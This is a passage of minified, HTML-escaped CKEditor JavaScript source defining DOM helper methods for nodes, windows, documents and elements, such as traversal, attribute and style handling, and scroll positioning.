a},getPrevious:function(a){var e=this.$,b;do b=(e=e.previousSibling)&amp;&amp;10!=e.nodeType&amp;&amp;new CKEDITOR.dom.node(e);while(b&amp;&amp;a&amp;&amp;!a(b));return b},getNext:function(a){var e=this.$,b;do b=(e=e.nextSibling)&amp;&amp;new CKEDITOR.dom.node(e);while(b&amp;&amp;a&amp;&amp;!a(b));return b},getParent:function(a){var e=this.$.parentNode;return e&amp;&amp;(e.nodeType==CKEDITOR.NODE_ELEMENT||a&amp;&amp;e.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT)?new CKEDITOR.dom.node(e):null},getParents:function(a){var e=this,b=[];do b[a?&quot;push&quot;:&quot;unshift&quot;](e);while(e=e.getParent());
return b},getCommonAncestor:function(a){if(a.equals(this))return this;if(a.contains&amp;&amp;a.contains(this))return a;var e=this.contains?this:this.getParent();do if(e.contains(a))return e;while(e=e.getParent());return null},getPosition:function(a){var e=this.$,b=a.$;if(e.compareDocumentPosition)return e.compareDocumentPosition(b);if(e==b)return CKEDITOR.POSITION_IDENTICAL;if(this.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT){if(e.contains){if(e.contains(b))return CKEDITOR.POSITION_CONTAINS+
CKEDITOR.POSITION_PRECEDING;if(b.contains(e))return CKEDITOR.POSITION_IS_CONTAINED+CKEDITOR.POSITION_FOLLOWING}if(&quot;sourceIndex&quot;in e)return 0&gt;e.sourceIndex||0&gt;b.sourceIndex?CKEDITOR.POSITION_DISCONNECTED:e.sourceIndex&lt;b.sourceIndex?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING}e=this.getAddress();a=a.getAddress();for(var b=Math.min(e.length,a.length),c=0;c&lt;b;c++)if(e[c]!=a[c])return e[c]&lt;a[c]?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING;return e.length&lt;a.length?CKEDITOR.POSITION_CONTAINS+
CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_IS_CONTAINED+CKEDITOR.POSITION_FOLLOWING},getAscendant:function(a,e){var b=this.$,c,d;e||(b=b.parentNode);&quot;function&quot;==typeof a?(d=!0,c=a):(d=!1,c=function(b){b=&quot;string&quot;==typeof b.nodeName?b.nodeName.toLowerCase():&quot;&quot;;return&quot;string&quot;==typeof a?b==a:b in a});for(;b;){if(c(d?new CKEDITOR.dom.node(b):b))return new CKEDITOR.dom.node(b);try{b=b.parentNode}catch(k){b=null}}return null},hasAscendant:function(a,e){var b=this.$;e||(b=b.parentNode);for(;b;){if(b.nodeName&amp;&amp;
b.nodeName.toLowerCase()==a)return!0;b=b.parentNode}return!1},move:function(a,e){a.append(this.remove(),e)},remove:function(a){var e=this.$,b=e.parentNode;if(b){if(a)for(;a=e.firstChild;)b.insertBefore(e.removeChild(a),e);b.removeChild(e)}return this},replace:function(a){this.insertBefore(a);a.remove()},trim:function(){this.ltrim();this.rtrim()},ltrim:function(){for(var a;this.getFirst&amp;&amp;(a=this.getFirst());){if(a.type==CKEDITOR.NODE_TEXT){var e=CKEDITOR.tools.ltrim(a.getText()),b=a.getLength();if(e)e.length&lt;
b&amp;&amp;(a.split(b-e.length),this.$.removeChild(this.$.firstChild));else{a.remove();continue}}break}},rtrim:function(){for(var a;this.getLast&amp;&amp;(a=this.getLast());){if(a.type==CKEDITOR.NODE_TEXT){var e=CKEDITOR.tools.rtrim(a.getText()),b=a.getLength();if(e)e.length&lt;b&amp;&amp;(a.split(e.length),this.$.lastChild.parentNode.removeChild(this.$.lastChild));else{a.remove();continue}}break}CKEDITOR.env.needsBrFiller&amp;&amp;(a=this.$.lastChild)&amp;&amp;1==a.type&amp;&amp;&quot;br&quot;==a.nodeName.toLowerCase()&amp;&amp;a.parentNode.removeChild(a)},isReadOnly:function(a){var e=
this;this.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(e=this.getParent());CKEDITOR.env.edge&amp;&amp;e&amp;&amp;e.is(&quot;textarea&quot;,&quot;input&quot;)&amp;&amp;(a=!0);if(!a&amp;&amp;e&amp;&amp;&quot;undefined&quot;!=typeof e.$.isContentEditable)return!(e.$.isContentEditable||e.data(&quot;cke-editable&quot;));for(;e;){if(e.data(&quot;cke-editable&quot;))return!1;if(e.hasAttribute(&quot;contenteditable&quot;))return&quot;false&quot;==e.getAttribute(&quot;contenteditable&quot;);e=e.getParent()}return!0}}),CKEDITOR.dom.window=function(a){CKEDITOR.dom.domObject.call(this,a)},CKEDITOR.dom.window.prototype=new CKEDITOR.dom.domObject,
CKEDITOR.tools.extend(CKEDITOR.dom.window.prototype,{focus:function(){this.$.focus()},getViewPaneSize:function(){var a=this.$.document,e=&quot;CSS1Compat&quot;==a.compatMode;return{width:(e?a.documentElement.clientWidth:a.body.clientWidth)||0,height:(e?a.documentElement.clientHeight:a.body.clientHeight)||0}},getScrollPosition:function(){var a=this.$;if(&quot;pageXOffset&quot;in a)return{x:a.pageXOffset||0,y:a.pageYOffset||0};a=a.document;return{x:a.documentElement.scrollLeft||a.body.scrollLeft||0,y:a.documentElement.scrollTop||
a.body.scrollTop||0}},getFrame:function(){var a=this.$.frameElement;return a?new CKEDITOR.dom.element.get(a):null}}),CKEDITOR.dom.document=function(a){CKEDITOR.dom.domObject.call(this,a)},CKEDITOR.dom.document.prototype=new CKEDITOR.dom.domObject,CKEDITOR.tools.extend(CKEDITOR.dom.document.prototype,{type:CKEDITOR.NODE_DOCUMENT,appendStyleSheet:function(a){if(this.$.createStyleSheet)this.$.createStyleSheet(a);else{var e=new CKEDITOR.dom.element(&quot;link&quot;);e.setAttributes({rel:&quot;stylesheet&quot;,type:&quot;text/css&quot;,
href:a});this.getHead().append(e)}},appendStyleText:function(a){if(this.$.createStyleSheet){var e=this.$.createStyleSheet(&quot;&quot;);e.cssText=a}else{var b=new CKEDITOR.dom.element(&quot;style&quot;,this);b.append(new CKEDITOR.dom.text(a,this));this.getHead().append(b)}return e||b.$.sheet},createElement:function(a,e){var b=new CKEDITOR.dom.element(a,this);e&amp;&amp;(e.attributes&amp;&amp;b.setAttributes(e.attributes),e.styles&amp;&amp;b.setStyles(e.styles));return b},createText:function(a){return new CKEDITOR.dom.text(a,this)},focus:function(){this.getWindow().focus()},
getActive:function(){var a;try{a=this.$.activeElement}catch(e){return null}return new CKEDITOR.dom.element(a)},getById:function(a){return(a=this.$.getElementById(a))?new CKEDITOR.dom.element(a):null},getByAddress:function(a,e){for(var b=this.$.documentElement,c=0;b&amp;&amp;c&lt;a.length;c++){var d=a[c];if(e)for(var k=-1,m=0;m&lt;b.childNodes.length;m++){var f=b.childNodes[m];if(!0!==e||3!=f.nodeType||!f.previousSibling||3!=f.previousSibling.nodeType)if(k++,k==d){b=f;break}}else b=b.childNodes[d]}return b?new CKEDITOR.dom.node(b):
null},getElementsByTag:function(a,e){CKEDITOR.env.ie&amp;&amp;8&gt;=document.documentMode||!e||(a=e+&quot;:&quot;+a);return new CKEDITOR.dom.nodeList(this.$.getElementsByTagName(a))},getHead:function(){var a=this.$.getElementsByTagName(&quot;head&quot;)[0];return a=a?new CKEDITOR.dom.element(a):this.getDocumentElement().append(new CKEDITOR.dom.element(&quot;head&quot;),!0)},getBody:function(){return new CKEDITOR.dom.element(this.$.body)},getDocumentElement:function(){return new CKEDITOR.dom.element(this.$.documentElement)},getWindow:function(){return new CKEDITOR.dom.window(this.$.parentWindow||
this.$.defaultView)},write:function(a){this.$.open(&quot;text/html&quot;,&quot;replace&quot;);CKEDITOR.env.ie&amp;&amp;(a=a.replace(/(?:^\s*&lt;!DOCTYPE[^&gt;]*?&gt;)|^/i,&#039;$\x26\n\x3cscript data-cke-temp\x3d&quot;1&quot;\x3e(&#039;+CKEDITOR.tools.fixDomain+&quot;)();\x3c/script\x3e&quot;));this.$.write(a);this.$.close()},find:function(a){return new CKEDITOR.dom.nodeList(this.$.querySelectorAll(a))},findOne:function(a){return(a=this.$.querySelector(a))?new CKEDITOR.dom.element(a):null},_getHtml5ShivFrag:function(){var a=this.getCustomData(&quot;html5ShivFrag&quot;);a||
(a=this.$.createDocumentFragment(),CKEDITOR.tools.enableHtml5Elements(a,!0),this.setCustomData(&quot;html5ShivFrag&quot;,a));return a}}),CKEDITOR.dom.nodeList=function(a){this.$=a},CKEDITOR.dom.nodeList.prototype={count:function(){return this.$.length},getItem:function(a){return 0&gt;a||a&gt;=this.$.length?null:(a=this.$[a])?new CKEDITOR.dom.node(a):null}},CKEDITOR.dom.element=function(a,e){&quot;string&quot;==typeof a&amp;&amp;(a=(e?e.$:document).createElement(a));CKEDITOR.dom.domObject.call(this,a)},CKEDITOR.dom.element.get=function(a){return(a=
&quot;string&quot;==typeof a?document.getElementById(a)||document.getElementsByName(a)[0]:a)&amp;&amp;(a.$?a:new CKEDITOR.dom.element(a))},CKEDITOR.dom.element.prototype=new CKEDITOR.dom.node,CKEDITOR.dom.element.createFromHtml=function(a,e){var b=new CKEDITOR.dom.element(&quot;div&quot;,e);b.setHtml(a);return b.getFirst().remove()},CKEDITOR.dom.element.setMarker=function(a,e,b,c){var d=e.getCustomData(&quot;list_marker_id&quot;)||e.setCustomData(&quot;list_marker_id&quot;,CKEDITOR.tools.getNextNumber()).getCustomData(&quot;list_marker_id&quot;),k=e.getCustomData(&quot;list_marker_names&quot;)||
e.setCustomData(&quot;list_marker_names&quot;,{}).getCustomData(&quot;list_marker_names&quot;);a[d]=e;k[b]=1;return e.setCustomData(b,c)},CKEDITOR.dom.element.clearAllMarkers=function(a){for(var e in a)CKEDITOR.dom.element.clearMarkers(a,a[e],1)},CKEDITOR.dom.element.clearMarkers=function(a,e,b){var c=e.getCustomData(&quot;list_marker_names&quot;),d=e.getCustomData(&quot;list_marker_id&quot;),k;for(k in c)e.removeCustomData(k);e.removeCustomData(&quot;list_marker_names&quot;);b&amp;&amp;(e.removeCustomData(&quot;list_marker_id&quot;),delete a[d])},function(){function a(a,
b){return-1&lt;(&quot; &quot;+a+&quot; &quot;).replace(k,&quot; &quot;).indexOf(&quot; &quot;+b+&quot; &quot;)}function e(a){var b=!0;a.$.id||(a.$.id=&quot;cke_tmp_&quot;+CKEDITOR.tools.getNextNumber(),b=!1);return function(){b||a.removeAttribute(&quot;id&quot;)}}function b(a,b){var c=CKEDITOR.tools.escapeCss(a.$.id);return&quot;#&quot;+c+&quot; &quot;+b.split(/,\s*/).join(&quot;, #&quot;+c+&quot; &quot;)}function c(a){for(var b=0,c=0,g=m[a].length;c&lt;g;c++)b+=parseInt(this.getComputedStyle(m[a][c])||0,10)||0;return b}var d=document.createElement(&quot;_&quot;).classList,d=&quot;undefined&quot;!==typeof d&amp;&amp;null!==String(d.add).match(/\[Native code\]/gi),
k=/[\n\t\r]/g;CKEDITOR.tools.extend(CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_ELEMENT,addClass:d?function(a){this.$.classList.add(a);return this}:function(f){var b=this.$.className;b&amp;&amp;(a(b,f)||(b+=&quot; &quot;+f));this.$.className=b||f;return this},removeClass:d?function(a){var b=this.$;b.classList.remove(a);b.className||b.removeAttribute(&quot;class&quot;);return this}:function(f){var b=this.getAttribute(&quot;class&quot;);b&amp;&amp;a(b,f)&amp;&amp;((b=b.replace(new RegExp(&quot;(?:^|\\s+)&quot;+f+&quot;(?\x3d\\s|$)&quot;),&quot;&quot;).replace(/^\s+/,&quot;&quot;))?this.setAttribute(&quot;class&quot;,
b):this.removeAttribute(&quot;class&quot;));return this},hasClass:function(f){return a(this.$.className,f)},append:function(a,b){&quot;string&quot;==typeof a&amp;&amp;(a=this.getDocument().createElement(a));b?this.$.insertBefore(a.$,this.$.firstChild):this.$.appendChild(a.$);return a},appendHtml:function(a){if(this.$.childNodes.length){var b=new CKEDITOR.dom.element(&quot;div&quot;,this.getDocument());b.setHtml(a);b.moveChildren(this)}else this.setHtml(a)},appendText:function(a){null!=this.$.text&amp;&amp;CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version?
this.$.text+=a:this.append(new CKEDITOR.dom.text(a))},appendBogus:function(a){if(a||CKEDITOR.env.needsBrFiller){for(a=this.getLast();a&amp;&amp;a.type==CKEDITOR.NODE_TEXT&amp;&amp;!CKEDITOR.tools.rtrim(a.getText());)a=a.getPrevious();a&amp;&amp;a.is&amp;&amp;a.is(&quot;br&quot;)||(a=this.getDocument().createElement(&quot;br&quot;),CKEDITOR.env.gecko&amp;&amp;a.setAttribute(&quot;type&quot;,&quot;_moz&quot;),this.append(a))}},breakParent:function(a,b){var c=new CKEDITOR.dom.range(this.getDocument());c.setStartAfter(this);c.setEndAfter(a);var g=c.extractContents(!1,b||!1),d;c.insertNode(this.remove());
if(CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge){for(c=new CKEDITOR.dom.element(&quot;div&quot;);d=g.getFirst();)d.$.style.backgroundColor&amp;&amp;(d.$.style.backgroundColor=d.$.style.backgroundColor),c.append(d);c.insertAfter(this);c.remove(!0)}else g.insertAfterNode(this)},contains:document.compareDocumentPosition?function(a){return!!(this.$.compareDocumentPosition(a.$)&amp;16)}:function(a){var b=this.$;return a.type!=CKEDITOR.NODE_ELEMENT?b.contains(a.getParent().$):b!=a.$&amp;&amp;b.contains(a.$)},focus:function(){function a(){try{this.$.focus()}catch(b){}}
return function(b){b?CKEDITOR.tools.setTimeout(a,100,this):a.call(this)}}(),getHtml:function(){var a=this.$.innerHTML;return CKEDITOR.env.ie?a.replace(/&lt;\?[^&gt;]*&gt;/g,&quot;&quot;):a},getOuterHtml:function(){if(this.$.outerHTML)return this.$.outerHTML.replace(/&lt;\?[^&gt;]*&gt;/,&quot;&quot;);var a=this.$.ownerDocument.createElement(&quot;div&quot;);a.appendChild(this.$.cloneNode(!0));return a.innerHTML},getClientRect:function(){var a=CKEDITOR.tools.extend({},this.$.getBoundingClientRect());!a.width&amp;&amp;(a.width=a.right-a.left);!a.height&amp;&amp;
(a.height=a.bottom-a.top);return a},setHtml:CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version?function(a){try{var b=this.$;if(this.getParent())return b.innerHTML=a;var c=this.getDocument()._getHtml5ShivFrag();c.appendChild(b);b.innerHTML=a;c.removeChild(b);return a}catch(g){this.$.innerHTML=&quot;&quot;;b=new CKEDITOR.dom.element(&quot;body&quot;,this.getDocument());b.$.innerHTML=a;for(b=b.getChildren();b.count();)this.append(b.getItem(0));return a}}:function(a){return this.$.innerHTML=a},setText:function(){var a=document.createElement(&quot;p&quot;);
a.innerHTML=&quot;x&quot;;a=a.textContent;return function(b){this.$[a?&quot;textContent&quot;:&quot;innerText&quot;]=b}}(),getAttribute:function(){var a=function(a){return this.$.getAttribute(a,2)};return CKEDITOR.env.ie&amp;&amp;(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(a){switch(a){case &quot;class&quot;:a=&quot;className&quot;;break;case &quot;http-equiv&quot;:a=&quot;httpEquiv&quot;;break;case &quot;name&quot;:return this.$.name;case &quot;tabindex&quot;:return a=this.$.getAttribute(a,2),0!==a&amp;&amp;0===this.$.tabIndex&amp;&amp;(a=null),a;case &quot;checked&quot;:return a=this.$.attributes.getNamedItem(a),
(a.specified?a.nodeValue:this.$.checked)?&quot;checked&quot;:null;case &quot;hspace&quot;:case &quot;value&quot;:return this.$[a];case &quot;style&quot;:return this.$.style.cssText;case &quot;contenteditable&quot;:case &quot;contentEditable&quot;:return this.$.attributes.getNamedItem(&quot;contentEditable&quot;).specified?this.$.getAttribute(&quot;contentEditable&quot;):null}return this.$.getAttribute(a,2)}:a}(),getAttributes:function(a){var b={},c=this.$.attributes,g;a=CKEDITOR.tools.isArray(a)?a:[];for(g=0;g&lt;c.length;g++)-1===CKEDITOR.tools.indexOf(a,c[g].name)&amp;&amp;(b[c[g].name]=
c[g].value);return b},getChildren:function(){return new CKEDITOR.dom.nodeList(this.$.childNodes)},getComputedStyle:document.defaultView&amp;&amp;document.defaultView.getComputedStyle?function(a){var b=this.getWindow().$.getComputedStyle(this.$,null);return b?b.getPropertyValue(a):&quot;&quot;}:function(a){return this.$.currentStyle[CKEDITOR.tools.cssStyleToDomStyle(a)]},getDtd:function(){var a=CKEDITOR.dtd[this.getName()];this.getDtd=function(){return a};return a},getElementsByTag:CKEDITOR.dom.document.prototype.getElementsByTag,
getTabIndex:function(){var a=this.$.tabIndex;return 0!==a||CKEDITOR.dtd.$tabIndex[this.getName()]||0===parseInt(this.getAttribute(&quot;tabindex&quot;),10)?a:-1},getText:function(){return this.$.textContent||this.$.innerText||&quot;&quot;},getWindow:function(){return this.getDocument().getWindow()},getId:function(){return this.$.id||null},getNameAtt:function(){return this.$.name||null},getName:function(){var a=this.$.nodeName.toLowerCase();if(CKEDITOR.env.ie&amp;&amp;8&gt;=document.documentMode){var b=this.$.scopeName;&quot;HTML&quot;!=
b&amp;&amp;(a=b.toLowerCase()+&quot;:&quot;+a)}this.getName=function(){return a};return this.getName()},getValue:function(){return this.$.value},getFirst:function(a){var b=this.$.firstChild;(b=b&amp;&amp;new CKEDITOR.dom.node(b))&amp;&amp;a&amp;&amp;!a(b)&amp;&amp;(b=b.getNext(a));return b},getLast:function(a){var b=this.$.lastChild;(b=b&amp;&amp;new CKEDITOR.dom.node(b))&amp;&amp;a&amp;&amp;!a(b)&amp;&amp;(b=b.getPrevious(a));return b},getStyle:function(a){return this.$.style[CKEDITOR.tools.cssStyleToDomStyle(a)]},is:function(){var a=this.getName();if(&quot;object&quot;==typeof arguments[0])return!!arguments[0][a];
for(var b=0;b&lt;arguments.length;b++)if(arguments[b]==a)return!0;return!1},isEditable:function(a){var b=this.getName();return this.isReadOnly()||&quot;none&quot;==this.getComputedStyle(&quot;display&quot;)||&quot;hidden&quot;==this.getComputedStyle(&quot;visibility&quot;)||CKEDITOR.dtd.$nonEditable[b]||CKEDITOR.dtd.$empty[b]||this.is(&quot;a&quot;)&amp;&amp;(this.data(&quot;cke-saved-name&quot;)||this.hasAttribute(&quot;name&quot;))&amp;&amp;!this.getChildCount()?!1:!1!==a?(a=CKEDITOR.dtd[b]||CKEDITOR.dtd.span,!(!a||!a[&quot;#&quot;])):!0},isIdentical:function(a){var b=this.clone(0,1);a=a.clone(0,
1);b.removeAttributes([&quot;_moz_dirty&quot;,&quot;data-cke-expando&quot;,&quot;data-cke-saved-href&quot;,&quot;data-cke-saved-name&quot;]);a.removeAttributes([&quot;_moz_dirty&quot;,&quot;data-cke-expando&quot;,&quot;data-cke-saved-href&quot;,&quot;data-cke-saved-name&quot;]);if(b.$.isEqualNode)return b.$.style.cssText=CKEDITOR.tools.normalizeCssText(b.$.style.cssText),a.$.style.cssText=CKEDITOR.tools.normalizeCssText(a.$.style.cssText),b.$.isEqualNode(a.$);b=b.getOuterHtml();a=a.getOuterHtml();if(CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version&amp;&amp;this.is(&quot;a&quot;)){var c=this.getParent();
c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(c=c.clone(),c.setHtml(b),b=c.getHtml(),c.setHtml(a),a=c.getHtml())}return b==a},isVisible:function(){var a=(this.$.offsetHeight||this.$.offsetWidth)&amp;&amp;&quot;hidden&quot;!=this.getComputedStyle(&quot;visibility&quot;),b,c;a&amp;&amp;CKEDITOR.env.webkit&amp;&amp;(b=this.getWindow(),!b.equals(CKEDITOR.document.getWindow())&amp;&amp;(c=b.$.frameElement)&amp;&amp;(a=(new CKEDITOR.dom.element(c)).isVisible()));return!!a},isEmptyInlineRemoveable:function(){if(!CKEDITOR.dtd.$removeEmpty[this.getName()])return!1;for(var a=this.getChildren(),
b=0,c=a.count();b&lt;c;b++){var g=a.getItem(b);if(g.type!=CKEDITOR.NODE_ELEMENT||!g.data(&quot;cke-bookmark&quot;))if(g.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!g.isEmptyInlineRemoveable()||g.type==CKEDITOR.NODE_TEXT&amp;&amp;CKEDITOR.tools.trim(g.getText()))return!1}return!0},hasAttributes:CKEDITOR.env.ie&amp;&amp;(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(){for(var a=this.$.attributes,b=0;b&lt;a.length;b++){var c=a[b];switch(c.nodeName){case &quot;class&quot;:if(this.getAttribute(&quot;class&quot;))return!0;case &quot;data-cke-expando&quot;:continue;default:if(c.specified)return!0}}return!1}:
function(){var a=this.$.attributes,b=a.length,c={&quot;data-cke-expando&quot;:1,_moz_dirty:1};return 0&lt;b&amp;&amp;(2&lt;b||!c[a[0].nodeName]||2==b&amp;&amp;!c[a[1].nodeName])},hasAttribute:function(){function a(b){var f=this.$.attributes.getNamedItem(b);if(&quot;input&quot;==this.getName())switch(b){case &quot;class&quot;:return 0&lt;this.$.className.length;case &quot;checked&quot;:return!!this.$.checked;case &quot;value&quot;:return b=this.getAttribute(&quot;type&quot;),&quot;checkbox&quot;==b||&quot;radio&quot;==b?&quot;on&quot;!=this.$.value:!!this.$.value}return f?f.specified:!1}return CKEDITOR.env.ie?
8&gt;CKEDITOR.env.version?function(b){return&quot;name&quot;==b?!!this.$.name:a.call(this,b)}:a:function(a){return!!this.$.attributes.getNamedItem(a)}}(),hide:function(){this.setStyle(&quot;display&quot;,&quot;none&quot;)},moveChildren:function(a,b){var c=this.$;a=a.$;if(c!=a){var g;if(b)for(;g=c.lastChild;)a.insertBefore(c.removeChild(g),a.firstChild);else for(;g=c.firstChild;)a.appendChild(c.removeChild(g))}},mergeSiblings:function(){function a(b,f,g){if(f&amp;&amp;f.type==CKEDITOR.NODE_ELEMENT){for(var c=[];f.data(&quot;cke-bookmark&quot;)||f.isEmptyInlineRemoveable();)if(c.push(f),
f=g?f.getNext():f.getPrevious(),!f||f.type!=CKEDITOR.NODE_ELEMENT)return;if(b.isIdentical(f)){for(var d=g?b.getLast():b.getFirst();c.length;)c.shift().move(b,!g);f.moveChildren(b,!g);f.remove();d&amp;&amp;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.mergeSiblings()}}}return function(b){if(!1===b||CKEDITOR.dtd.$removeEmpty[this.getName()]||this.is(&quot;a&quot;))a(this,this.getNext(),!0),a(this,this.getPrevious())}}(),show:function(){this.setStyles({display:&quot;&quot;,visibility:&quot;&quot;})},setAttribute:function(){var a=function(a,b){this.$.setAttribute(a,
b);return this};return CKEDITOR.env.ie&amp;&amp;(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(b,c){&quot;class&quot;==b?this.$.className=c:&quot;style&quot;==b?this.$.style.cssText=c:&quot;tabindex&quot;==b?this.$.tabIndex=c:&quot;checked&quot;==b?this.$.checked=c:&quot;contenteditable&quot;==b?a.call(this,&quot;contentEditable&quot;,c):a.apply(this,arguments);return this}:CKEDITOR.env.ie8Compat&amp;&amp;CKEDITOR.env.secure?function(b,c){if(&quot;src&quot;==b&amp;&amp;c.match(/^http:\/\//))try{a.apply(this,arguments)}catch(g){}else a.apply(this,arguments);return this}:a}(),setAttributes:function(a){for(var b in a)this.setAttribute(b,
a[b]);return this},setValue:function(a){this.$.value=a;return this},removeAttribute:function(){var a=function(a){this.$.removeAttribute(a)};return CKEDITOR.env.ie&amp;&amp;(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(a){&quot;class&quot;==a?a=&quot;className&quot;:&quot;tabindex&quot;==a?a=&quot;tabIndex&quot;:&quot;contenteditable&quot;==a&amp;&amp;(a=&quot;contentEditable&quot;);this.$.removeAttribute(a)}:a}(),removeAttributes:function(a){if(CKEDITOR.tools.isArray(a))for(var b=0;b&lt;a.length;b++)this.removeAttribute(a[b]);else for(b in a=a||this.getAttributes(),
a)a.hasOwnProperty(b)&amp;&amp;this.removeAttribute(b)},removeStyle:function(a){var b=this.$.style;if(b.removeProperty||&quot;border&quot;!=a&amp;&amp;&quot;margin&quot;!=a&amp;&amp;&quot;padding&quot;!=a)b.removeProperty?b.removeProperty(a):b.removeAttribute(CKEDITOR.tools.cssStyleToDomStyle(a)),this.$.style.cssText||this.removeAttribute(&quot;style&quot;);else{var c=[&quot;top&quot;,&quot;left&quot;,&quot;right&quot;,&quot;bottom&quot;],g;&quot;border&quot;==a&amp;&amp;(g=[&quot;color&quot;,&quot;style&quot;,&quot;width&quot;]);for(var b=[],d=0;d&lt;c.length;d++)if(g)for(var e=0;e&lt;g.length;e++)b.push([a,c[d],g[e]].join(&quot;-&quot;));else b.push([a,c[d]].join(&quot;-&quot;));
for(a=0;a&lt;b.length;a++)this.removeStyle(b[a])}},setStyle:function(a,b){this.$.style[CKEDITOR.tools.cssStyleToDomStyle(a)]=b;return this},setStyles:function(a){for(var b in a)this.setStyle(b,a[b]);return this},setOpacity:function(a){CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version?(a=Math.round(100*a),this.setStyle(&quot;filter&quot;,100&lt;=a?&quot;&quot;:&quot;progid:DXImageTransform.Microsoft.Alpha(opacity\x3d&quot;+a+&quot;)&quot;)):this.setStyle(&quot;opacity&quot;,a)},unselectable:function(){this.setStyles(CKEDITOR.tools.cssVendorPrefix(&quot;user-select&quot;,&quot;none&quot;));
if(CKEDITOR.env.ie){this.setAttribute(&quot;unselectable&quot;,&quot;on&quot;);for(var a,b=this.getElementsByTag(&quot;*&quot;),c=0,g=b.count();c&lt;g;c++)a=b.getItem(c),a.setAttribute(&quot;unselectable&quot;,&quot;on&quot;)}},getPositionedAncestor:function(){for(var a=this;&quot;html&quot;!=a.getName();){if(&quot;static&quot;!=a.getComputedStyle(&quot;position&quot;))return a;a=a.getParent()}return null},getDocumentPosition:function(a){var b=0,c=0,g=this.getDocument(),d=g.getBody(),e=&quot;BackCompat&quot;==g.$.compatMode;if(document.documentElement.getBoundingClientRect&amp;&amp;(CKEDITOR.env.ie?
8!==CKEDITOR.env.version:1)){var k=this.$.getBoundingClientRect(),m=g.$.documentElement,t=m.clientTop||d.$.clientTop||0,p=m.clientLeft||d.$.clientLeft||0,y=!0;CKEDITOR.env.ie&amp;&amp;(y=g.getDocumentElement().contains(this),g=g.getBody().contains(this),y=e&amp;&amp;g||!e&amp;&amp;y);y&amp;&amp;(CKEDITOR.env.webkit||CKEDITOR.env.ie&amp;&amp;12&lt;=CKEDITOR.env.version?(b=d.$.scrollLeft||m.scrollLeft,c=d.$.scrollTop||m.scrollTop):(c=e?d.$:m,b=c.scrollLeft,c=c.scrollTop),b=k.left+b-p,c=k.top+c-t)}else for(t=this,p=null;t&amp;&amp;&quot;body&quot;!=t.getName()&amp;&amp;
&quot;html&quot;!=t.getName();){b+=t.$.offsetLeft-t.$.scrollLeft;c+=t.$.offsetTop-t.$.scrollTop;t.equals(this)||(b+=t.$.clientLeft||0,c+=t.$.clientTop||0);for(;p&amp;&amp;!p.equals(t);)b-=p.$.scrollLeft,c-=p.$.scrollTop,p=p.getParent();p=t;t=(k=t.$.offsetParent)?new CKEDITOR.dom.element(k):null}a&amp;&amp;(k=this.getWindow(),t=a.getWindow(),!k.equals(t)&amp;&amp;k.$.frameElement&amp;&amp;(a=(new CKEDITOR.dom.element(k.$.frameElement)).getDocumentPosition(a),b+=a.x,c+=a.y));document.documentElement.getBoundingClientRect||!CKEDITOR.env.gecko||
e||(b+=this.$.clientLeft?1:0,c+=this.$.clientTop?1:0);return{x:b,y:c}},scrollIntoView:function(a){var b=this.getParent();if(b){do if((b.$.clientWidth&amp;&amp;b.$.clientWidth&lt;b.$.scrollWidth||b.$.clientHeight&amp;&amp;b.$.clientHeight&lt;b.$.scrollHeight)&amp;&amp;!b.is(&quot;body&quot;)&amp;&amp;this.scrollIntoParent(b,a,1),b.is(&quot;html&quot;)){var c=b.getWindow();try{var g=c.$.frameElement;g&amp;&amp;(b=new CKEDITOR.dom.element(g))}catch(d){}}while(b=b.getParent())}},scrollIntoParent:function(a,b,c){var g,d,e,k;function m(b,g){/body|html/.test(a.getName())?
a.getWindow().$.scrollBy(b,g):(a.$.scrollLeft+=b,a.$.scrollTop+=g)}function t(a,b){var g={x:0,y:0};if(!a.is(y?&quot;body&quot;:&quot;html&quot;)){var c=a.$.getBoundingClientRect();g.x=c.left;g.y=c.top}c=a.getWindow();c.equals(b)||(c=t(CKEDITOR.dom.element.get(c.$.frameElement),b),g.x+=c.x,g.y+=c.y);return g}function p(a,b){return parseInt(a.getComputedStyle(&quot;margin-&quot;+b)||0,10)||0}!a&amp;&amp;(a=this.getWindow());e=a.getDocument();var y=&quot;BackCompat&quot;==e.$.compatMode;a instanceof CKEDITOR.dom.window&amp;&amp;(a=y?e.getBody():e.getDocumentElement());
e=a.getWindow();d=t(this,e);var A=t(a,e),z=this.$.offsetHeight;g=this.$.offsetWidth;var r=a.$.clientHeight,w=a.$.clientWidth;e=d.x-p(this,&quot;left&quot;)-A.x||0;k=d.y-p(this,&quot;top&quot;)-A.y||0;g=d.x+g+p(this,&quot;right&quot;)-(A.x+w)||0;d=d.y+z+p(this,&quot;bottom&quot;)-(A.y+r)||0;(0&gt;k||0&lt;d)&amp;&amp;m(0,!0===b?k:!1===b?d:0&gt;k?k:d);c&amp;&amp;(0&gt;e||0&lt;g)&amp;&amp;m(0&gt;e?e:g,0)},setState:function(a,b,c){b=b||&quot;cke&quot;;switch(a){case CKEDITOR.TRISTATE_ON:this.addClass(b+&quot;_on&quot;);this.removeClass(b+&quot;_off&quot;);this.removeClass(b+&quot;_disabled&quot;);c&amp;&amp;this.setAttribute(&quot;aria-pressed&quot;,
